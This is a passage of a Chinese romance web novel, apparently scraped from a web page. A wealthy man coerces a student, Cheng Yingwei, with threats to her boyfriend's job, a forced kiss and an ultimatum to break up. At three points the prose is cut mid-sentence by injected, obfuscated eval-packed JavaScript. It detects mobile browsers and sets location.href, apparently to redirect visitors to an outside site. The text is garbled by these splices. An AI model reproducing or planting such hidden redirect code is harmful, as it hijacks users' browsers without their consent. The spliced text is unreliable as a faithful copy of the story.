宋丞走到她身前,直接伸手将她揽进怀里,低头在她发顶落下一个轻盈的吻。 程映微原本怀揣着一箩筐心事,有些心不在焉,此刻被他搂在怀里,感受到他身上炙热的温度,她终于寻回了那么一丝安全感,手臂从他腰间穿过,轻拍了拍他的脊背。 一开口,嗓音含了些委屈:“说好只去一个月就回来的,你自己看看,这都多久了?” 他离开京市的时候还是初秋,街边的树叶刚开始泛黄,天气也不那么冷。而现在,转眼近三个月过去,京市进入隆冬,室外被鹅毛大雪笼罩,彻骨的寒凉,这一年也临近尾声。 提及这些,宋丞也觉得亏欠,接过她怀里的花,在她脸颊吻了吻,轻声哄道:“好在我工作完成得不错,这不是被调回京市了吗。映微,以后我们还和以前一样,我会多多抽空陪你,不会再分开这么久了。” 他说得认真,眸色一如既往的温柔,程映微心里却始终无法踏实下来,只点点头,挤出一丝笑容,算是回应。 期末繁忙,待所有科目都结了课,剩下的时间便都用来自主复习。 程映微每日过得充实,白天和室友去图书馆占座刷题,晚上则照常去酒吧兼职。 至于那日廖问今的提议,她还没想好,也始终没有给他答复。 廖问今也没催促,像是彻底忘了这事。 周末,宋丞买了电影票,带她去学校附近的一家影院看电影,过后又一起逛街吃饭,不知不觉便消磨掉了一下午的时间。 傍晚时分,天色全然暗淡下来,他们搭乘地铁返校,宋丞将她送到宿舍楼下,拉着她的手磨蹭许久,显然是有话要说。 他欲言又止,半晌才开口:“映微,我现在在外面实习,住在学校实在太远,来回一趟太过折腾,所以拜托同事帮我找了房子,最快下周就要搬出去住了。” “这么突然吗?”程映微看着他,唇角微微耷拉下去,“这样一来,我们见面的机会岂不是更少了?” 他将她微凉的手裹在掌心,揣进自己衣兜里,试探着问,“所以,我想问问你,要不要搬出来和我一起住?” “啊?”程映微从未想过这个问题,她眉心颤了颤,想也没想就拒绝了,“不了,我住在寝室挺好的,没有外出租房的打算。” 宋丞没想到她拒绝得如此干脆,却也没恼,只顺着她说:“那好吧,都听你的。” 又问:“我下周就要签租房合同了,要不你陪我一块过去看看,帮我参考参考该添置些什么家具?” “好啊。”这倒不是什么难题,程映微没有犹豫,直接答应了。 指尖摩挲着他温暖的掌心,她忽地想起什么,“对了,你入职蓬飞科技也有一周的时间了,感觉怎么样?工作还顺利吗?” “挺好的,就是初出茅庐什么都不懂,压力有些大,什么都得从头学起。”宋丞如实说。 程映微点点头,脑中有什么东西一闪而过,莫名想起廖问今对她说过的那些话。 眼前晃过那张淡漠英俊的脸,以及那双清润却又透着凛凛寒意的眼睛,她眼皮跳了跳,下意识打了个冷噤。 她不由得握紧宋丞的手,委婉地提醒:“你要是觉得压力大,就别硬撑,一切尽力就好。若是实在不行,我们可以再多投几家简历,去别的公司试一试……” “映微。”听见她这么说,宋丞眸色微凝,显然有些不高兴了。 “我是受到领导赏识才被调来总部工作的,机会来之不易。于我而言一切才刚刚启程,你怎么就开始替我唱衰了呢?” 他握紧她的手,“你是我的女朋友,多给我一些信任,不要看扁我,好不好?” 见他眼中充斥着不甘与希冀,一心想要转正,留在蓬飞,程映微便没再多说什么。 如今宋丞心里那团火烧得正旺,若现在将背后的原因告诉他,无异于亲手浇灭他的希望,这于他而言太过残忍,她实在是不忍心这么做。 少顷,她笑了笑,伸手拍了拍他的脸,轻声道:“好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447694|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- 这一年结束得无声无息。 随着年龄的增长,程映微早已不再期盼着新年的到来。于她而言,这不过是寻常到不能再寻常的一个夜晚,外面的热闹喧嚣通通与她无关。她只希望自己快些复习完课本上的内容,关灯睡觉。 窗外响起跨年倒数的钟声和暴烈的焰火声时,程映微正捧着课本倚在床头看书,听见动静,她打开手机看了眼,果真是新的一年了。 正发着呆,手机忽然振动一下,弹出一条短信,简短四个字:【新年快乐。】 程映微扫了眼那个号码,很眼熟,仔细回想一番,很快记起这人是谁。 是她避而不见的那个瘟神。 细想想,他貌似已经半个月没出现在她眼前了。 新年的第一个周日,按照约定,程映微特意空出一天时间陪宋丞看房、签合同。 宋丞看中的房子离国贸不远,小区环境还算将就,价格也合适。 他们跟着中介公司的业务员在小区里转了一圈,准备上楼的时候,迎面遇上一个人。 那人个头高挑,一身简约的休闲装硬生生被他穿出了商业精英的既视感,举手投足透着一股贵气,怎么看也不像是会住在这里的人。 男人侧身出了电梯,与他们擦肩而过,不经意的一抬眼,视线落在程映微身上时,忽地怔忡一下,脚步顿住,眼中晃过一丝诧异。 但他没表现得太过明显,视线在女孩身上短暂停留,并未引起对方注意,很快便挪开了。 出了单元楼,应淮立马掏出手机,找到通讯录里的一个号码拨了过去。 电话很快接通,廖问今懒懒问道:“什么事。” 应淮轻笑一声,指尖摩挲着下巴,“我刚才来星月小区看望之前的导师,结果刚出电梯就撞见一个人。” 他欠欠地问:“你猜我看到谁了?” “谁?” “你倒是猜啊。” “不说挂了。”廖问今抬手就要挂断,又被电话那头的人急忙制止,“别啊!” 应淮清了清嗓子,不再卖关子,直言道:“是那个在酒吧弹琴的清冷美人,你的白月光心头肉。” “你猜她在干嘛?”应淮继续拱火,看热闹不嫌事大,“人姑娘正跟男朋友一起手拉手看房呢,看样子是准备同居了。” “阿今,你这事该不会不知道吧?” 电话那头沉寂几秒,“啪嗒”一声挂断。 廖问今看着手机屏幕一点点黑下去,原本清润的眼瞳渐渐变得幽深,如窗外乌云密布的天,看起来深不可测。 手机铃声响起时,程映微正站在宋丞身边,听工作人员讲解房屋户型和屋内的基础设施。 看见屏幕上闪烁的那个号码,她心跳一滞,尽量让自己平静下来,扯了扯宋丞的衣袖:“我出去接个电话,很快回来。” 而后跑到屋外接听。 电话接通,她颤巍巍吐出一个字:“喂?” 那边传来一声低沉的笑,嗓音比从前喑哑几分:“男朋友去蓬飞总部报道了?” 程映微没出声,指尖下意识攥紧了衣摆。 不等她回应,那人又问:“换了新环境,工作可还顺利?” 她深吸一口气,压低声音说道:“我不太清楚。” 廖问今站在窗边,指尖有一搭没一搭地捻着窗台上的盆栽叶子,“都一起看房,准备同居了,想必关系已经非常亲密,怎么连这点事情都弄不清楚?” “你怎么会知道……”她募地提声,意识到不妥,又伸手掩住嘴唇,确定四周无人才继续开口,“廖先生,您误会了。我没有跟谁同居,我不是这么随便的人。” “我今天……只是陪宋丞出来看房而已。”她磕磕绊绊地说。 廖问今唇角勾了勾,稍一用力,夹在指间的叶片便被碾碎,溢出汁水。再开口,嗓音变得沉闷,“程映微。” 这么久以来,他头一次如此严肃正经地直呼她的全名。 他似是有很多话要说,却又戛然而止,没再继续下去。 程映微努力维持着平静,内里却已战战兢兢,“您还有事吗?” 廖问今继续开口,带着极强的压迫感:“我上次的提议,你考虑得怎么样了?” 程映微知晓他在说什么,细细思索过后,一字一句认真回答:“廖总,我仔细想过了,以我目前的水平,还不足以做您妹妹的钢琴老师,您太抬举我了。” “我能力有限,不敢挣这份亏心钱,就不去叨扰您的家人了。” 电话那头安静下来,静到可以听见那人起伏的呼吸。 他沉默几秒,再开口,却是直接下了死命令,强硬到根本不容她拒绝:“我已经派了车去接你。” “你现在立刻下楼,过来见我。” 12. 陷阱 “您有什么事情不能在电话里说吗?我现在真的很不方便……” “映微。”他沉声提醒,“我好心帮你把人调回京市,不是为了看你们俩在我面前上演恩爱缠绵的戏码。” “若是不能胜任这份工作,我看还是让他趁早走人的好。” 程映微眼皮颤了颤,握着手机的指节骤然缩紧,顷刻间妥协,“我去见你。” 电话挂断,她站在楼道里吹了会儿冷风,直至整理好凌乱的心绪,才进屋去找宋丞,胡乱扯了个由头:“老师让我回去改结课论文,很急,现在就得走了。” 宋丞一向情绪稳定,此刻忙着租房的事,没工夫去想别的,便嘱咐她:“那你一个人注意安全,到学校了给我电话。” 天气阴沉沉的,风吹在脸上也是刺骨的冰凉,程映微在路边等了几分钟,很快便有一辆黑色的商务轿车减速停在路边,冲她按响喇叭。 司机开门下车,极为礼貌地来到她身边,脸上含笑:“您就是程小姐吧?廖先生让我来接您。您看要不要和先生确认一下,没问题的话咱们就上车出发了。” “不用确认了,走吧。”程映微抿唇笑了笑,伸手去拉车门,男人却先她一步将车门打开,抬手护在她头顶:“您当心。” 待她落座,系好安全带,车子缓缓启动,驶入主干道往市中心开。 程映微一路发着呆,直至某一刻回过神,看向窗外,忽地察觉到哪里不太对劲,“这不是去光合会所的路。” 司机从后视镜里看了她一眼,“啊,对,咱们这是去廖先生家。”又耐心与她解释,“光合会所只是廖总名下的产业之一,他平时去得很少,大多数时间都是待在廖氏集团总部的。” 听他这样说,程映微紧绷的神经终于舒展些许:“噢,这样啊。” 十分钟后,车子转入右侧车道,抵达一片名为“御景华府”的高档住宅区,又缓缓减速驶入地下车库。 司机将程映微送到电梯口,与她交待:“先生不喜欢有人打扰,我就不陪您上去了。您到了32楼直接按门铃就成,先生在家等您呢。” “好的,多谢。”程映微冲他点点头,强行按下心头的不安,进入电梯,摁了上行键,很快抵达32楼。 电梯门开,她径直走了出去。穿过一条长长的走廊,入目便是一扇宽敞大气的入户门。 程映微抬手准备按门铃,瞅了眼自己沾染了雪水的短靴,又觉得这样进去不大合适,生怕弄脏他家的地板。 弯下身,正准备脱鞋,忽而听见“咔嚓”一声,门开了。 抬起头,她看见廖问今穿着一身缎面睡衣站在屋内,领口处的扣子敞开一颗,内里的肌肉线条若隐若现。 应是刚洗过澡,他身上洋溢着清爽的男士沐浴露气息。暖色光源倾泻而下,将他身上自带的凌厉气场削弱几分,整个人柔和不少,不再似平常那般难以接近。 盯着他看了几秒,程映微觉得浑身不自在,舔了舔干燥的唇瓣,“廖总,我……” 话音未落,对面的人已经有了先一步的动作。修长的手臂朝她伸来,掌心扼住她纤细的腰身,直接将人带入怀里,“啪”的一声,关上了门。 他动作太快,如行云流水一气呵成。 程映微根本来不及反应,整个人撞进他怀里,脑门儿磕在他坚实的胸膛,周身被他身上冰凉的气息包裹,一时愣了神。 待她反应过来,掌心抵在他腰间惊恐地推拒,拼命隔开两人之间的距离。 下一秒,便被他按住手腕,另一只手捏着她的下颌,倾身吻了下去。 眼眶肉眼可见地通红,女孩眸中盛满恐惧,在他的唇距她仅咫尺时,艰难开口,“不要……” “廖问今,你别这样。” 泪水落下来,滑过眼睑和脸颊,滴在他的手背。 似是被什么滚烫物什灼烧了一下,他胸口泛起一丝细微的疼,眼前浮现出过往零碎的画面。 “别哪样?”他悄然卸了力道,却依旧禁锢着她,没有松手。 指尖拨开她额前凌乱的碎发,绕到耳后,又缓缓下移,掌心摩挲着她小巧细嫩的脸颊和修长的脖颈。 哑声问:“怎么不叫我廖总了?” 程映微张了张唇,不知该如何作答。 转而又听见他说:“半个月不见,你倒是背着我办了件大事。房子都看好了,准备什么时候搬过去住?” “我没有,我真的没有。”她低下头,逼迫自己冷静下来,用力推他的手,“疼,你放开我……” 注意到她被自己掐红了的腕骨,廖问今眉心微动,依言松开了她。 谁知下一秒,怀里的女孩直接扬起了手。 没有丝毫犹豫,反手就是一巴掌。 “啪”的一声,毫无防备。 他的脸被打偏,发丝垂下来遮住眼睛。 第一反应是懵怔。 随后,居然咧唇笑了。 程映微也吓坏了,那只手背到身后,止不住地发颤。 这一记耳光是出乎她意料之外的。 更是她气急之下,身体下意识做出的反应。打完连她自己都懵了。 看着廖问今缓慢抬起头,脸上浮现出极其清晰的巴掌印,程映微觉得自己可能要完了。 对方是谁?她又是什么打酱油的小角色?她是怎么敢出手打他的? “打得很好啊,怎么停下来了?”廖问今轻攥着她的手,唇角噙着笑,指了指另一边脸,“要不这边也来一下,打得对称一点?” 程映微慌乱地缩回手,避开他的视线。 她觉得廖问今一定是疯了,才会说出这样的话,做出如此变态的举动。 她整个人被他高大的身影笼罩,余光瞥见他身后的展示柜上有几个奇形怪状的雕塑。 有那么一瞬,她脑中冒出偏激的想法。 他若是再做出什么过分举动,她就拼命去够玄关墙上的雕塑,朝着他的脑袋狠狠砸过去。 只要控制好力道,砸不死他,她至多算是防卫过当…… 思绪无休止地发散,对面的人忽地屈起手指,在她脑门轻轻敲了一下:“想什么呢?” 他笑,又起了坏心思,继续逗她:“不说话,是想让我继续吻你?” 女孩抬眸,愤愤望向他,似是被他的话惹恼,眼中彻底没了畏惧。 本以为廖问今在逗弄自己,不料他竟俯身过来,和刚才一样捉住她的下巴,看起来像是要来真的。 心跳顿了顿,她的手直接伸过去,捂住他的嘴。 却反被他抓住手腕,在她掌心落下一个轻盈的吻。 程映微怔住,脸颊肉眼可见地泛红,愤怒地踢了他一脚:“你不要脸!” 靴子上残留的雪水弄脏了他昂贵的睡衣布料,但他毫不在意,扬唇笑了笑,松开她,径直往客厅走了。 背着身,懒洋洋丢下一句:“别在门口站着了,进来坐。” 见他进了屋,程映微立马转身去摸门锁,可那是一块电子屏幕,上面的图标极其复杂,她乱按一通,怎么也打不开。 屋内传来一道冷冰冰的嗓音:“怎么还站在那里不动?是想让我亲手抱你进来?” 程映微心尖颤了颤。 她害怕,又不得不踏入那道玄关,朝他走过去。 来到客厅,她脱了鞋踩在光洁的地板上。屋内有地暖,并不凉脚。 廖问今坐在沙发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447695|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身子微微前倾往杯子里倒茶,拍了拍身侧的位置,“过来坐。” 程映微站在原地,脑中翻来覆去都是刚才的画面,尴尬到脚趾都蜷在一起,“我不坐了,我说完话就走。” “若是为你那个没用的男友求情,那就不必说了。”廖问今抿了口杯中的热茶,还不忘嘲讽两句,“话说回来,他该不会以为自己是凭借才华与能力被领导看中,才轻松调到了总部吧?” 对面的人默不作声,也不知是心里不服,还是哑口无言、无从反驳。 他默默观察着她脸上的表情,将其自动归为后者:“我猜,你这么善良,一定不忍心告诉他实情。” “若是实在不忍心提分手,我可以帮你。” 绕来绕去,最终又绕回这个话题。 程映微觉得头痛,也着实佩服这人颠倒是非黑白的能力。 她咬着唇许久,终于忍不住说道:“廖总,明明是你叫你的朋友将他调回来的,你怎么可以歪曲事实?” “你还不懂吗,映微。”廖问今起身,相隔一段距离,垂眸看着她,“我要的是你。” “我要你离开那个人,到我身边来。”他眸色晦暗,慢条斯理地说,“至于那个宋丞,为了让他看起来不那么狼狈,给他一份体面的工作当做补偿,我个人认为很合理啊。” 他说得云淡风轻,程映微却觉得事情没有这么简单。 廖问今对宋丞,分明是有那么几分敌意和戒备心理的。 “宋丞是不是之前做过什么事情,惹到了您?”她问。 “他的确是惹到我了。”廖问今又走近,去拉她的手,顺带着将人往怀里拽了拽,修长指节扣住她纤细的腰,“他抢走了我的人,我对他做什么好像都不过分吧?” “你这个人到底讲不讲道理?明明是我和宋丞先遇见。”程映微脱口而出。 过后越想越觉得不对劲,他究竟在打什么哑谜? 她觉得很累,不想再细究,闭了闭眼,说道:“我让他主动辞职还不行吗。” “好。”他松开她的手,“你既然不死心,我就给你时间,陪你玩一玩。” 虎口紧贴着她的下颌,轻轻捏了把她的脸,“我倒是很期待,他会怎么选择。” 程映微站在原地,任由他的指尖滑过自己的脸颊,颇有种放弃抵抗的架势。 视线漫无目的地扫过屋内陈设,忽然瞥见他身后的展示柜上放置了一本书籍。 定睛看了看,是一本钢琴曲谱,封面是她熟悉的题字和logo。 她嘴唇翕动,下意识说道:“这琴谱……” 廖问今回头看了眼,又望向她,眼中含着些许期待:“这琴谱怎么了?说下去。” “没什么。”程映微小幅度地摇了摇头,及时止住话题,没再继续往下说。 这曲谱,是一位故人攥写的。 同时也是一位德高望重的前辈,程映微很敬重她。 想了想,廖问今这么有钱,又有数不尽人脉,想要什么东西弄不到?这曲谱说不准是别人送给他的,或是他自己买来收藏的。 反正市面上流通的又不止这一本。 况且,她也不想窥探他的隐私。 他们之间身份地位悬殊,知道的越多,只会对她越不利。 她低眸,眼睛盯着脚尖发呆,许久才开口:“我能走了吗?” 廖问今略略低下身来看她,掌心抚过她细软的发丝,将她额前和两鬓的碎发拨到耳后,露出整张素淡清丽的小脸。 “我不逼你。给你时间慢慢看清楚。”他声音轻柔下来,“但我耐心不多,一个月内,跟他彻底断掉。” “至于用什么方法,你自己看着办。” 13. 疑心 怀揣着太多心事,程映微几乎是一夜没睡,第二天下了课便跑去宋丞实习的公司找他,想与他好好谈一谈。 到了公司楼下,她给宋丞发了微信,安静地坐在大厅里等他。 约莫过了十多分钟,宋丞才回她消息,随即身后传来脚步声,男生步履匆匆,径直走到她跟前坐下。 “怎么这个时间过来了?”他握住她的手,将自己提前点好的咖啡递给她,温声道,“今天很忙,我只能抽出十分钟,你有什么事情就长话短说吧。” 程映微组织了下语言,准备从头开始说:“我……” 刚一开口,便被一阵手机铃声打断。 宋丞看了眼手机,拍拍她的手:“不好意思,我接个电话。” 然后站起身,拿着手机去走廊那头接听。 他看起来真的很忙。 程映微从未想过,原来实习生也有这样多的工作要做。看来宋丞在公司里还是很受领导重用的。 她望着窗外怔怔地发呆,宋丞很快回来,将椅子拉到她身旁坐下,揽着她的肩问:“你刚才要说什么来着?” 程映微好脾气地笑了笑,侧身握住他的手:“我是要说……” 话说一半,就被一道雄厚的男性嗓音盖了过去:“宋丞,别腻腻歪歪了,快过来开会了!领导催了都!” 有人从里间的回会议室出来,朝着他们这边招手。 “来了。”宋丞冲同事点点头,慌忙站起身,又看了眼身旁的女孩,“映微,那你……” “没关系的,你去吧。”程映微纵然有些失落,却不想表现在脸上。更不愿将自己的负面情绪传递给他,让他担忧。 “好。”宋丞将她揽进怀里,俯身吻了吻她的额头,想起什么,又笑着对她说,“对了宝贝,按照之前约定好的,今年过年我陪你一起回铜陵看望叔叔阿姨,到时候我提前买票,咱们一起走。” 闻言,程映微心脏鼓动,脸上总算扬起一丝笑容:“好啊,那你一定留要在这边等我考完试,陪我一起回家。” “一定。”宋丞揉了把她的脑袋,没时间再腻歪,冲她道了声再见就转身走了。 他的背影消失在走廊尽头,程映微悄然叹了口气。 看着宋丞全身心投入工作中的模样,劝他辞职的话,她是没办法说出口了。只能打电话给廖问今,将一切和他说清楚,将他们之间的是非纠葛彻底了结。 至于最坏的结果,程映微也都想到了。 无非就是廖问今一气之下让那位沈总开掉宋丞。 她相信以宋丞的才华和能力,即便离开了蓬飞科技,他也能找到更好的实习单位,实现自己的价值。 是金子在哪里都能发光的。 她甚至想过,若是廖问今借题发挥,继续为难她、骚扰她,她就去找钟晚卿。 那毕竟是与她有着血缘关系的哥哥,哪怕她与钟家关系淡薄,到了关键时刻钟晚卿也一定会护着她,不让她受到欺负。 程映微就这么想了一路,不知不觉便走到了公交站台。不知怎的,她忽然觉得很累,身心俱疲。 貌似从高三那年开始,她的生活就渐渐变成一团乱麻,越拧越紧。 而她被捆绑在中间,随着麻绳收缩,属于她的氧气也一点点变得稀薄,渐渐无法喘息。 …… 转眼近一个月过去,廖问今给她划定的期限就快到了。 这期间他没有再来找过她,只是偶尔发信息关心问候。有时候也会托吴恙转交给她一些小礼物和小零食。 程映微将那些东西收好,统一装进一个大箱子里,等待合适的时机一起归还给他。 她看着那些稀奇古怪的物件,偶尔也会感慨,倘若廖问今不那么阴暗变态,兴许和他这样细心的人谈恋爱也是件不错的事情。起码他有权有势,还会适时提供情绪价值。 然而这样可怕的念头仅在她脑中存活了一瞬,就被立刻否决。 像廖问今那样深不可测的人,靠近他只会有无穷无尽的麻烦,还是主动远离为好。 如今,一个月的期限已到,廖问今并未主动找她。 这感觉如同一把刀悬在头顶,程映微心里惴惴不安,早在心里将那套提前准备好的措辞念了无数遍,然后寻到他的号码,深吸一口气拨了过去。 她的心毫无规律地跳动着,电话却迟迟没有接通,再打过去已经是关机状态。 她觉得蹊跷,又打给廖问今身边的白叔,才知道他是今天的飞机出国谈生意,最早也得半个月后才能返京。 听到这里,程映微莫名松了口气。 距离除夕还有一周的时间,远离了廖问今这尊大佛,她总算能安心过个好年了。 - 最后一门期末考试结束,一连阴沉了好几日的天空倏然放晴。程映微订了当天下午的高铁票回铜陵,开完班会便回宿舍收拾行李,等着宋丞过来接她。 寝室里充斥着叮呤咣啷器物碰撞的声响,薛凝率先整理好行李箱,跑过来找程映微闲聊:“映微,你不是说宋丞学长下午会来接你吗?这都三点多了,他怎么还没过来?” 程映微看了眼时间:“他应该在路上了吧,我发个消息问问他。” 她打开微信快速敲了行字发过去,然后熄了屏,继续坐下来收捡行李。 薛凝一向眼尖,刚才不小心瞥了眼小情侣肉麻的聊天记录,胳膊上瞬间泛起鸡皮疙瘩,揽着她的肩感叹:“映微,我可真羡慕你,这还没毕业呢,就要带男朋友回家见家长了!该不会明年毕业,咱们就能当上伴娘,吃上你和宋丞学长的喜酒了吧?” “别乱说,哪有那么夸张。”程映微被她调侃得脸颊微红,唇角翘起灵动漂亮的弧度,笑着解释,“宋丞只是想去拜访一下我的父母,再去我家乡看看而已,我们没有想得那么远。” 薛凝努了努嘴,冲她挑眉:“哎呀,那不还是迟早的事。” 一旁,许颜姣正在镜子前涂抹隔离霜,听见她们的对话,眉头微微皱起,思索一番后,还是转过身,面对邻铺的人:“映微,有件事情我可得好心提醒你一下。” 许颜姣坐直身体,神情严肃:“昨晚我和我男朋友在新天地那边吃饭,恰好遇见了宋丞,他应该是在和同事客户一起聚餐。” “啊?他昨晚在外面聚餐吗?”程映微怔住。她记得昨天在微信上聊天时,宋丞明明说他在公司加班。 见她面露诧异,许颜姣又继续开口:“不止如此,宋丞还在饭桌上和一个女人挨得很近,举止亲密,也不知对方是他的同事还是客户。” “总之你注意一下吧,依我看,这不是个很好的兆头。” 待她说完,程映微脸上的表情彻底僵住,一时有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447696|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手足无措。 唐婳从卫生间出来,恰好听见她们的对话,立马跑过去拍拍许颜姣的肩,冲她眨巴眼睛:“姣姣,这事儿可不能乱说啊……” “谁乱说了?这是我亲眼看到的。”许颜姣拿出手机,打开相册里的视频,递到程映微手里,“幸好我当时偷偷录了视频,不然你们得说我居心叵测,挑拨离间了。” 程映微紧抿着唇,指尖触在屏幕,果真在视频里看见了许颜姣所描述的场景。 画面中,宋丞正起身给领导敬酒,有个身形高挑、明艳漂亮的女孩坐在他身边,挽着他的手臂帮他擦汗,周围的人不仅见怪不怪,还纷纷大笑着起哄。 而宋丞从头到尾一直纵容着女孩的过界行为,并没有推开她。 视频只有短短十几秒,播到这里便戛然而止。许颜姣轻叹了口气,对她说:“程映微,虽然我们之前闹得有点不愉快,但我也不是个心思歹毒的人,我是真的好心劝你,一定要盯好你的男朋友。男人嘛,本质上都是一个样,甭管校园恋爱有多么美好,一旦进入社会就都变了。大把大把新鲜漂亮的女孩围在身边,他能把持得住吗?时间久了,难保他不会变心。” “姣姣,你说得对,谢谢你提醒我。” 程映微是发自内心的感激她,也由此明白过来,许颜姣并不是真的针对她,只是脾气娇纵了些,再加上一些小小的误会,便让她们轻易疏远了彼此。 如今她才真正感受到,女生之间才是真正的同盟,是应该彼此珍惜、抱团取暖的人。 她很认真地向许颜姣道歉:“姣姣,从前我也有做得不对的地方。那次你问我衣服的来处,我不该敷衍你,我该好好跟你说话的。” “好了好了,别说这些肉麻的话了。”许颜姣摆摆手说,“你不是和宋丞约好了一起回铜陵吗?现在赶紧给你男朋友打个电话,让他放下手头的事情,滚过来接你。” “嗯,我现在就打。” 见状,唐婳和薛凝也过来凑热闹:“开免提开免提!让我们也凑凑热闹,跟宋学长打声招呼!” 程映微拨通了宋丞的号码,他很快接了,有些焦急地问她:“映微,我现在还在公司忙着呢,你有事吗?” “啊?你还在公司吗?”程映微诧异道,“咱们不是订了下午五点回铜陵的车票吗?你再不走就该来不及了。” “啊,我给忘了。”宋丞拍了拍脑门,语气瞬间宕下来,向她道歉,“对不起啊映微,我今年不能陪你回铜陵了。这两天我得留在公司加班,车票我已经退掉了。你一个人回家注意安全,我还要工作,就先挂了。” “可是……”程映微焦急叫住他,而宋丞已经将电话挂断,只余下一阵刺耳的嘟声。 刚才的通话全程开着免提,几个女孩都听得清清楚楚。 大家沉默一瞬,立马凑过来,七嘴八舌地缓和气氛。 薛凝拍拍程映微的肩,转移话题:“这半只脚踏入社会的人就是不一样啊,忙得脚不沾地了都。” 唐婳也说:“这都年末了,加班也很正常。说不定等宋丞学长忙完这几天,他就买票去铜陵找你了呢。” 许颜姣不会安慰人,此刻看见程映微低着头不置一词,心里也难免替她觉得委屈,便凑过去象征性地安慰两句:“就是啊映微,你也别多想……诶,你别哭啊!快快快,拿点卫生纸给我!” 14. 倒数 一月中旬的铜陵,相较平时热闹不少。 年节将至,在外务工和求学的年轻人纷纷赶回家过年,火车站内人满为患,安保人员拿着喇叭疏导了许久,才艰难地辟出一条通道。 程映微推着行李箱缓缓通过出站口的闸门,到了室外,扑面而来的湿冷气流吹得人头皮发麻,她立刻戴上帽子裹好围巾,踮起脚尖在人群中寻找母亲的身影。 “映微,这里!往这边看!” 人来人往的人潮中,一只纤细的手举过头顶,朝着她用力挥了挥。 程映微循声回头,看见徐荞英站在几米开外的围栏后面,慈爱地笑着朝她招手。 一股酸涩涌上心头,她眼眶湿润,立马拖着箱子朝母亲跑去。 回家的公交车上不算特别拥挤,母女两人并排坐着,就这么聊起闲天。 徐荞英握着她的手,与她讲起家里的近况,忽然意识到哪里不太对劲,问道:“对了映微,你不是说要带朋友来咱家过年吗?怎么就你一个人回来了?” 提及宋丞,程映微心头涌起那么一丝委屈,胡乱扯了个由头,一语带过:“他家里有事,来不了了。” “喔,那没关系,往后有空了再来也是一样的。”徐荞英笑了笑,又与她唠起家常,“这次回来准备在家里待几天呢?” “半个月吧。”她靠在母亲肩头,想了想,又撒了第二个谎,“我过完年就得回京市了,学校那边还有事情,要早些回去。” 实则是要赶回去工作。过完年初八,酒吧就会开门营业,关乎到工资和考核,她不能缺席。 徐荞英看她轻阖着眼,以为她是路上颠簸得太累,就没再说话,让她倚在自己肩上安静地睡上一会儿。 回到家已是大半夜,程映微放下行李,先去看了眼程斌。见他已经睡下,就没喊醒他,去卫生间快速冲了个澡,准备上床睡觉。 之后的几天过得还算闲适轻松,不用早起上课,也不用工作兼职,她每天的日常便是出门给程斌买买早饭,陪他饭后散散步,再做好晚饭等着母亲工作结束回来吃。 除夕夜当晚,程斌早早回屋休息了,程映微则陪着母亲坐在客厅里看春晚守岁。 等到零点钟声敲响,她早已困得哈欠连天,临睡觉前,徐荞英忽然敲了敲她的卧室门,轻手轻脚地进来,摸黑将一杯热牛奶放在她床头。 程映微听见动静,起身按开床头灯,问道:“妈妈,你怎么还没睡?” 徐荞英坐在她床头,几番犹豫才开口:“前几天妈妈一直想问你,你就这么跑回来过年,钟家那边……先生和太太没有不高兴吧?” 程映微原本困顿得紧,提及这个话题,浓烈的睡意霎然一扫而空,垂着眼道,“他们哪有心思管我。” 倏然想起什么,她掀开被子起身,从背包里拿出一张储蓄卡递给身旁的人:“妈,这钱你拿着,先给爸爸交医药费,剩下的等我下个月工资到账了再转给你。” 看着面前女孩懂事的模样,徐荞英双眼泛红,内心不忍,却并未推拒。 粗糙的双手攥紧那张薄薄的卡片,又揽过女孩的肩,将她抱得很紧,哽咽着感慨:“映微啊,你当初要是回到亲生父母身边,就不必跟着我们吃这么多苦了……” 提及钟家,脑中顿时涌起一些零碎画面。 失望的,愤怒的,沉痛的记忆,一幕幕浮现在眼前。 程映微低下头,唇角扬起一抹轻嘲,“生而不养,也配叫作亲生父母吗?” 她眨了眨眼,将眼中的泪意憋回去,握住徐荞英的手,笑着宽慰她:“妈妈,留在你们身边是我自己的选择,我不后悔。我只要你和爸爸健健康康的,我们一家人好好在一起就好,其他的都与我无关。” 徐荞英抹了把眼泪,眼角堆起淡淡一层笑纹,揉揉她的脑袋,“哎,好。” 程映微在家待了十几天,忽然闲暇下来,她反倒容易想东想西,患得患失。 从期末考试结束的那天起,直到现在,宋丞几乎没有主动联系过她,两人之间仅有的交流还是大年初一那天互相道了声“新年快乐”。 除此之外,他们之间再无其他联系。 再收到宋丞的消息已经是几天后了。 返京前一晚,程映微在家里收拾行李,手机忽然震动一下,收到一条消息提醒:【什么时候回京市?我去火车站接你。】 